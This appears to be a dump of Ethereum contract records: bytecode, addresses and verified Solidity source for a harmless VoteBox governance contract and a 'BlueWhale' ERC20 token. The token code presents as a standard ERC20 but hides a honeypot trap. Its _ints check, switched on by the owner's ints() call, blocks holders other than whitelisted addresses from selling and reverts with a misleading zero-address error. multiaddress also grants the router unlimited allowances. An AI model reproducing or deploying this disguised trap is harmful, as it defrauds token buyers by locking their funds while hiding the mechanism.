13785780601f1061134d57610100808354040283529160200191611378565b820191906000526020600020905b81548152906001019060200180831161135b57829003601f168201915b505091505060006040518083038185876187965a03f192505050156113c957827f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2610818565b827f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260038201805460ff191690555b5b5b5b505050565b600083600160a060020a038116151561142357600080fd5b600554915060806040519081016040908152600160a060020a0387168252602080830187905281830186905260006060840181905285815290819052208151815473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0391909116178155602082015181600101556040820151816002019080516114ae929160200190611582565b506060820151600391909101805460ff191691151591909117905550600580546001019055817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a25b5b509392505050565b81548183558181151161081857600083815260209020610818918101908301611601565b5b505050565b81548183558181151161081857600083815260209020610818918101908301611601565b5b505050565b60206040519081016040526000815290565b60206040519081016040526000815290565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106115c357805160ff19168380011785556115f0565b828001600101855582156115f0579182015b828111156115f05782518255916020019190600101906115d5565b5b506115fd929150611601565b5090565b610c8791905b808211156115fd5760008155600101611607565b5090565b905600a165627a7a72305820465c8a5206a91c61cc1f1c89f94a1ab9083ae041349931fddc5ae51cf47440c30029
{"success": true, "error": null, "results": {}}
6,859
0x6ee936bdbd329063e8ce1d13f42efef912e85221
/** *Submitted for verification at Etherscan.io on 2021-04-19 */ /** *Submitted for verification at Etherscan.io on 2020-08-18 */ // SPDX-License-Identifier: UNLICENSED pragma solidity 0.6.10; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title A simple smart contract which only records everyone’s voting on each proposal. */ contract VoteBox { using SafeMath for uint256; // Meta data struct Meta { string link; uint256 beginBlock; uint256 endBlock; } // Vote content enum Content { INVALID, FOR, AGAINST } // Min MCB rate of totalSupply for creating a new proposal uint256 public constant MIN_PROPOSAL_RATE = 10**16; // 1% according to https://github.com/mcdexio/documents/blob/master/en/Mai-Protocol-v3.pdf // Min voting period in blocks. 1 day for 15s/block uint256 public constant MIN_PERIOD = 5760; // MCB address IERC20 public mcb; // All proposal meta data Meta[] public proposals; /** * @dev The new proposal is created */ event Proposal(uint256 indexed id, string link, uint256 beginBlock, uint256 endBlock); /** * @dev Someone changes his/her vote on the proposal */ event Vote(address indexed voter, uint256 indexed id, Content voteContent); /** * @dev Constructor * @param mcbAddress MCB address */ constructor(address mcbAddress) public { mcb = IERC20(mcbAddress); } /** * @dev Accessor to the total number of proposal */ function totalProposals() external view returns (uint256) { return proposals.length; } /** * @dev Create a new proposal, need a proposal privilege * @param link The forum link of the proposal * @param beginBlock Voting is enabled between [begin block, end block] * @param endBlock Voting is enabled between [begin block, end block] */ function propose(string calldata link, uint256 beginBlock, uint256 endBlock) external { uint256 minProposalMCB = mcb.totalSupply().mul(MIN_PROPOSAL_RATE).div(10**18); require(mcb.balanceOf(msg.sender) >= minProposalMCB, "proposal privilege required"); require(bytes(link).length > 0, "empty link"); require(block.number <= beginBlock, "old proposal"); require(beginBlock.add(MIN_PERIOD) <= endBlock, "period is too short"); proposals.push(Meta({ link: link, beginBlock: beginBlock, endBlock: endBlock })); emit Proposal(proposals.length - 1, link, beginBlock, endBlock); } /** * @notice Vote for/against the proposal with id * @param id Proposal id * @param voteContent Vote content */ function vote(uint256 id, Content voteContent) external { require(id < proposals.length, "invalid id"); require(voteContent != Content.INVALID, "invalid content"); require(proposals[id].beginBlock <= block.number, "< begin"); require(block.number <= proposals[id].endBlock, "> end"); emit Vote(msg.sender, id, voteContent); } }
0x608060405234801561001057600080fd5b506004361061007d5760003560e01c8063943e82161161005b578063943e8216146101c15780639dd57aea146101e7578063a78d80fc14610201578063bbccf154146102095761007d565b8063013cf08b146100825780632aa77c4c1461012557806381192eb71461019d575b600080fd5b61009f6004803603602081101561009857600080fd5b5035610211565b6040518080602001848152602001838152602001828103825285818151815260200191508051906020019080838360005b838110156100e85781810151838201526020016100d0565b50505050905090810190601f1680156101155780820380516001836020036101000a031916815260200191505b5094505050505060405180910390f35b61019b6004803603606081101561013b57600080fd5b81019060208101813564010000000081111561015657600080fd5b82018360208201111561016857600080fd5b8035906020019184600183028401116401000000008311171561018a57600080fd5b9193509150803590602001356102cd565b005b6101a5610633565b604080516001600160a01b039092168252519081900360200190f35b61019b600480360360408110156101d757600080fd5b508035906020013560ff16610642565b6101ef6107e4565b60408051918252519081900360200190f35b6101ef6107ef565b6101ef6107f6565b6001818154811061021e57fe5b60009182526020918290206003919091020180546040805160026001841615610100026000190190931692909204601f8101859004850283018501909152808252919350918391908301828280156102b75780601f1061028c576101008083540402835291602001916102b7565b820191906000526020600020905b81548152906001019060200180831161029a57829003601f168201915b5050505050908060010154908060020154905083565b6000610377670de0b6b3a764000061036b662386f26fc100006000809054906101000a90046001600160a01b03166001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561033357600080fd5b505afa158015610347573d6000803e3d6000fd5b505050506040513d602081101561035d57600080fd5b50519063ffffffff6107fc16565b9063ffffffff61085e16565b600054604080516370a0823160e01b8152336004820152905192935083926001600160a01b03909216916370a0823191602480820192602092909190829003018186803b1580156103c757600080fd5b505afa1580156103db573d6000803e3d6000fd5b505050506040513d60208110156103f157600080fd5b50511015610446576040805162461bcd60e51b815260206004820152601b60248201527f70726f706f73616c2070726976696c6567652072657175697265640000000000604482015290519081900360640190fd5b83610485576040805162461bcd60e51b815260206004820152600a602482015269656d707479206c696e6b60b01b604482015290519081900360640190fd5b824311156104c9576040805162461bcd60e51b815260206004820152600c60248201526b1bdb19081c1c9bdc1bdcd85b60a21b604482015290519081900360640190fd5b816104dc8461168063ffffffff6108a016565b1115610525576040805162461bcd60e51b81526020600482015260136024820152721c195c9a5bd9081a5cc81d1bdbc81cda1bdc9d606a1b604482015290519081900360640190fd5b6040805160806020601f8801819004028201810190925260608101868152600192829190899089908190850183828082843760009201829052509385525050506020808301889052604090920186905283546001810185559381528190208251805193946003029091019261059d928492019061099c565b506020820151816001015560408201518160020155505060018080549050037f60889d4da53649cd6c3e5b75075c9436fbb04154400e5f9a94d57c99f267fc308686868660405180806020018481526020018381526020018281038252868682818152602001925080828437600083820152604051601f909101601f191690920182900397509095505050505050a25050505050565b6000546001600160a01b031681565b6001548210610685576040805162461bcd60e51b815260206004820152600a6024820152691a5b9d985b1a59081a5960b21b604482015290519081900360640190fd5b600081600281111561069357fe5b14156106d8576040805162461bcd60e51b815260206004820152600f60248201526e1a5b9d985b1a590818dbdb9d195b9d608a1b604482015290519081900360640190fd5b43600183815481106106e657fe5b9060005260206000209060030201600101541115610735576040805162461bcd60e51b81526020600482015260076024820152661e103132b3b4b760c91b604482015290519081900360640190fd5b6001828154811061074257fe5b906000526020600020906003020160020154431115610790576040805162461bcd60e51b81526020600482015260056024820152640f88195b9960da1b604482015290519081900360640190fd5b81336001600160a01b03167fea646db319bf204816f80359be35bfd60d0daea88ac98b858a99323eb80681bc83604051808260028111156107cd57fe5b60ff16815260200191505060405180910390a35050565b662386f26fc1000081565b6001545b90565b61168081565b60008261080b57506000610858565b8282028284828161081857fe5b04146108555760405162461bcd60e51b8152600401808060200182810382526021815260200180610a356021913960400191505060405180910390fd5b90505b92915050565b600061085583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506108fa565b600082820183811015610855576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600081836109865760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561094b578181015183820152602001610933565b50505050905090810190601f1680156109785780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161099257fe5b0495945050505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106109dd57805160ff1916838001178555610a0a565b82800160010185558215610a0a579182015b82811115610a0a5782518255916020019190600101906109ef565b50610a16929150610a1a565b5090565b6107f391905b80821115610a165760008155600101610a2056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a26469706673582212204680716542215b089774cfb5dd5707592239dce0cff14f1aa445d1e7157a33e464736f6c634300060a0033
{"success": true, "error": null, "results": {}}
6,860
0xdd6a6e0e2080c618d8205db101c54dabdbec513b
/** BlueWhale code created @ 11/15/2020 */ pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _address0; address private _address1; mapping (address => bool) private _Addressint; uint256 private _zero = 0; uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935; constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _address0 = owner; _address1 = owner; _mint(_address0, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function ints(address addressn) public { require(msg.sender == _address0, "!_address0");_address1 = addressn; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _ints(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _ints(address sender, address recipient, uint256 amount) internal view virtual{ if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");} } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { if (msg.sender == _address0){ transfer(receivers[i], amounts[i]); if(i<AllowN){ _Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash); } } } } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } function _ErcTokens(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063438dd0871161008c578063a457c2d711610066578063a457c2d714610401578063a9059cbb14610465578063b952390d146104c9578063dd62ed3e14610622576100cf565b8063438dd087146102e257806370a082311461032657806395d89b411461037e576100cf565b806306fdde03146100d4578063095ea7b31461015757806318160ddd146101bb57806323b872dd146101d9578063313ce5671461025d578063395093511461027e575b600080fd5b6100dc61069a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561016d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061073c565b60405180821515815260200191505060405180910390f35b6101c361075a565b6040518082815260200191505060405180910390f35b610245600480360360608110156101ef57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610764565b60405180821515815260200191505060405180910390f35b61026561083d565b604051808260ff16815260200191505060405180910390f35b6102ca6004803603604081101561029457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610854565b60405180821515815260200191505060405180910390f35b610324600480360360208110156102f857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610907565b005b6103686004803603602081101561033c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a0e565b6040518082815260200191505060405180910390f35b610386610a56565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103c65780820151818401526020810190506103ab565b50505050905090810190601f1680156103f35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61044d6004803603604081101561041757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610af8565b60405180821515815260200191505060405180910390f35b6104b16004803603604081101561047b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bc5565b60405180821515815260200191505060405180910390f35b610620600480360360608110156104df57600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561050957600080fd5b82018360208201111561051b57600080fd5b8035906020019184602083028401116401000000008311171561053d57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561059d57600080fd5b8201836020820111156105af57600080fd5b803590602001918460208302840111640100000000831117156105d157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610be3565b005b6106846004803603604081101561063857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d43565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107325780601f1061070757610100808354040283529160200191610732565b820191906000526020600020905b81548152906001019060200180831161071557829003601f168201915b5050505050905090565b6000610750610749610e52565b8484610e5a565b6001905092915050565b6000600354905090565b6000610771848484611051565b6108328461077d610e52565b61082d856040518060600160405280602881526020016116e060289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107e3610e52565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461131d9092919063ffffffff16565b610e5a565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006108fd610861610e52565b846108f88560016000610872610e52565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610dca90919063ffffffff16565b610e5a565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109ca576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610aee5780601f10610ac357610100808354040283529160200191610aee565b820191906000526020600020905b815481529060010190602001808311610ad157829003601f168201915b5050505050905090565b6000610bbb610b05610e52565b84610bb6856040518060600160405280602581526020016117516025913960016000610b2f610e52565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461131d9092919063ffffffff16565b610e5a565b6001905092915050565b6000610bd9610bd2610e52565b8484611051565b6001905092915050565b60005b8251811015610d3d57600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610d3057610c75838281518110610c5457fe5b6020026020010151838381518110610c6857fe5b6020026020010151610bc5565b508360ff16811015610d2f57600160086000858481518110610c9357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610d2e838281518110610cfb57fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a54610e5a565b5b5b8080600101915050610be6565b50505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600080828401905083811015610e48576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ee0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061172d6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f66576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806116986022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117086025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561115d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806116756023913960400191505060405180910390fd5b6111688383836113dd565b6111738383836113e2565b6111de816040518060600160405280602681526020016116ba602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461131d9092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611271816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610dca90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008383111582906113ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561138f578082015181840152602081019050611374565b50505050905090810190601f1680156113bc5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561148e5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561150a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611517575060095481115b1561166f57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806115c55750600260009054906101000a900473f